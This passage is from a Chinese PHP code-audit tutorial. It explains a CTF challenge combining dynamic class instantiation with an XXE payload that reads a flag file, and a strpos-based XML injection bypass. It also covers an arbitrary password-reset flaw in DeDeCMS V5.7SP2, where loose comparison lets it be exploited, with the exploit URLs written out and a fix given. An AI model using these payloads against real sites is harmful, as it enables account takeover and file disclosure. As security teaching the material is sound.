  • 这里注册的匿名函数在尝试自动加载一个类时创建一个 NotFound 类的实例,因此无论什么类名被请求,都将输出404并终止执行。
  1. 获取HTTP GET参数
    1
    2
    3
    $classname = isset($_GET['name']) ? $_GET['name'] : null;
    $param = isset($_GET['param']) ? $_GET['param'] : null;
    $param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
  • 这段代码通过GET请求读取 nameparamparam2 参数,并将它们保存在变量 $classname$param$param2 中。如果这些GET参数不存在,则相应的变量被设置为 null
  1. 检查类是否存在并实例化
    1
    2
    3
    4
    5
    6
    if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
    echo $key.'=>'.$value.'<br>';
    }
  • class_exists($classname) 函数检查一个类是否已定义,这也会触发自动加载机制。
  • 如果类存在,代码将使用动态传入的参数 $param$param2 创建这个类的实例。
  • 使用 var_dump($newclass); 输出新创建对象的详细信息。
  • 使用 foreach 循环遍历对象的公开属性并打印它们。

这道题目考察的是实例化漏洞结合XXE漏洞。我们在上图第18行处可以看到使用了 class_exists 函数来判断类是否存在,如果不存在的话,就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息。

我们这里直接利用PHP的内置类,先用 GlobIterator 类搜索 flag文件 名字,来看一下PHP手册对 GlobIterator 类的 构造函数的定义:

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我选择用 FilesystemIterator::CURRENT_AS_FILEINFO ,其对应的常量值为0,你可以在 这里 找到这些常量的值,所以最终搜索文件的 payload 如下:

1
http://localhost/CTF/index.php?name=GlobIterator&param=./*.php&param2=0


我们将会发现flag的文件名为 f1agi3hEre.php ,接下来我们使用内置类 SimpleXMLElement 读取 f1agi3hEre.php 文件的内容,,这里我们要结合使用PHP流的使用,因为当文件中存在: < > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以我们这里利用PHP文件流,将要读取的文件内容经过 base64编码 后输出即可,具体payload如下:

1
http://localhost/CTF/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>&param2=2


上面payload中的param2=2,实际上这里2对应的模式是 LIBXML_NOENT ,具体可以参考 这里

False Beard

题目名字叫假胡子,代码如下:

题目解析:
我们看到 第11行第12行 ,程序通过格式化字符串的方式,使用 xml 结构存储用户的登录信息。实际上这样很容易造成数据注入。然后 第21行 实例化 Login 类,并在 第16行 处调用 login 方法进行登陆操作。在进行登录操作之前,代码在 第8行第9行 使用 strpos 函数来防止输入的参数含有 <** 和 **> 符号,猜测开发者应该是考虑到非法字符注入问题。我们先来看一下 strpos 函数的定义:

strpos — 查找字符串首次出现的位置
作用:主要是用来查找字符在字符串中首次出现的位置。
结构:int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

在上面这个例子中,strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 。在这道题目中,开发者只考虑到 strpos 函数返回 false 的情况,却忽略了匹配到的字符在首位时会返回 0 的情况,因为 false0 的取反均为 true 。这样我们就可以在用户名和密码首字符注入 < 符号,从而注入xml数据。我们尝试使用以下 payload ,观察 strpos 函数的返回结果。

1
user=<"><injected-tag%20property="&pass=<injected-tag>

如上图所示,很明显是可以注入xml数据的。

实例分析

实际上,本次漏洞是开发者对 strpos 函数理解不够,或者说是开发者考虑不周,导致过滤方法可被绕过。由于我们暂时没有在互联网上找到 strpos 使用不当导致漏洞的CMS案例,所以这里只能选取一个相似的漏洞进行分析,同样是开发者验证不够周全导致的漏洞。
本次案例,我们选取 DeDecms V5.7SP2正式版 进行分析,该CMS存在未修复的任意用户密码重置漏洞。漏洞的触发点在 member/resetpassword.php 文件中,由于对接收的参数 safeanswer 没有进行严格的类型判断,导致可以使用弱类型比较绕过。我们来看看相关代码:

针对上面的代码做个分析,当 $dopost 等于 safequestion 的时候,通过传入的 $mid 对应的 id 值来查询对应用户的安全问题、安全答案、用户id、电子邮件等信息。跟进到 第11行 ,当我们传入的问题和答案非空,而且等于之前设置的问题和答案,则进入 sn 函数。然而这里使用的是 == 而不是 === 来判断,所以是可以绕过的。假设用户没有设置安全问题和答案,那么默认情况下安全问题的值为 0 ,答案的值为 null (这里是数据库中的值,即 $row[‘safequestion’]=”0”$row[‘safeanswer’]=null )。当没有设置 safequestionsafeanswer 的值时,它们的值均为空字符串。第11行的if表达式也就变成了 if(‘0’ == ‘’ && null == ‘’) ,即 if(false && true) ,所以我们只要让表达式 $row[‘safequestion’] == $safequestiontrue 即可。下图是 null == ‘’ 的判断结果:

我们可以利用 php弱类型 的特点,来绕过这里 $row[‘safequestion’] == $safequestion 的判断,如下:

通过测试找到了三个的payload,分别是 0.00.0e1 ,这三种类型payload均能使得 $row[‘safequestion’] == $safequestiontrue ,即成功进入 sn 函数。跟进 sn 函数,相关代码在 member/inc/inc_pwd_functions.php 文件中,具体代码如下:

sn 函数内部,会根据id到pwd_tmp表中判断是否存在对应的临时密码记录,根据结果确定分支,走向 newmail 函数。假设当前我们第一次进行忘记密码操作,那么此时的 $row 应该为空,所以进入第一个 if(!is_array($row)) 分支,在 newmail 函数中执行 INSERT 操作,相关操作代码位置在 member/inc/inc_pwd_functions.php 文件中,关键代码如下:

该代码主要功能是发送邮件至相关邮箱,并且插入一条记录至 dede_pwd_tmp 表中。而恰好漏洞的触发点就在这里,我们看看 第13行第18行 的代码,如果 ($send == ‘N’) 这个条件为真,通过 ShowMsg 打印出修改密码功能的链接。 第17行 修改密码链接中的 $mid 参数对应的值是用户id,而 $randval 是在第一次 insert 操作的时候将其 md5 加密之后插入到 dede_pwd_tmp 表中,并且在这里已经直接回显给用户。那么这里拼接的url其实是

1
http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval

继续跟进一下 dopost=getpasswd 的操作,相关代码位置在 member/resetpassword.php 中,

在重置密码的时候判断输入的用户id是否执行过重置密码,如果id为空则退出;如果 $row 不为空,则会执行以下操作内容,相关代码在 member/resetpassword.php 中。

上图代码会先判断是否超时,如果没有超时,则进入密码修改页面。在密码修改页面会将 $setp 赋值为2。

由于现在的数据包中 $setp=2 ,因此这部分功能代码实现又回到了 member/resetpassword.php 文件中。

上图代码 第6行 判断传入的 $key 是否等于数据库中的 $row[‘pwd’] ,如果相等就完成重置密码操作,至此也就完成了整个攻击的分析过程。

漏洞验证

我们分别注册 test1test2 两个账号
第一步访问 payload 中的 url

1
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9

这里 test2 的id是9


通过抓包获取到 key 值。

去掉多余的字符访问修改密码链接

1
http://192.168.31.240/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=OTyEGJtg


最后成功修改密码,我将密码修改成 123456 ,数据库中 test2 的密码字段也变成了 123456 加密之后的值。

修复建议

针对上面 DeDecms任意用户密码重置 漏洞,我们只需要使用 === 来代替 == 就行了。因为 === 操作会同时判断左右两边的值和数据类型是否相等,若有一个不等,即返回 false 。具体修复代码如下: